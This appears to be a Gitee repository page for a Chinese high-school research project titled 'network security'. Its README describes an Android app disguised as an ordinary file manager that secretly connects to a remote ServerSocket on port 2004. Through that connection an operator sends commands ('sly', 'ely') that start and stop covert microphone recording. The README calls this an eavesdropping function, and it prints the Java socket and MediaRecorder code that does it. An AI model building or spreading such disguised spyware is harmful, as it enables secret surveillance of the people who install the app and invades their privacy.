# 网络安全
**Repository Path**: badshun/safe
## Basic Information
- **Project Name**: 网络安全
- **Description**: 基于java实现的网络安全
- **Primary Language**: Android
- **License**: Apache-2.0
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 2
- **Forks**: 0
- **Created**: 2020-09-08
- **Last Updated**: 2023-03-17
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# 网络安全
### 仓库介绍
此仓库为了高一研究性学习而创建
### 仓库架构
#### 网络安全
|__文件管理
|__远程控制
### 项目说明
#### 文件管理 :
这个是一个表面上看起来像一个普通的文件管理器
具有查看图片,播放音乐等功能
但是在后台连接了远程控制项目中的ServerSocket服务器
```java
ServerSocket server = new ServerSocket(2004);
```
类似这样,只要连接上了这个服务器就可以为所欲为了
```java
Socket socket = new Socket(Inet4Address.getByName("192.168.0.108"),2004);
```
然后就可以进行一些通信操作比如向这个"文件管理"发送一些指令
比如sly,ely之类的,sly是开启录音功能,ely是结束录音功能,以此来达到一个窃听功能
```java
if(msg.equals("sly")) {
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/mnt/sdcard/Download/ly.mp3");
try {
recorder.prepare();
recorder.start();
} catch (Exception e) {
e.printStackTrace();
}
} else if(msg.equals("ely")) {
recorder.stop();
recorder.reset();
recorder.release();
}
```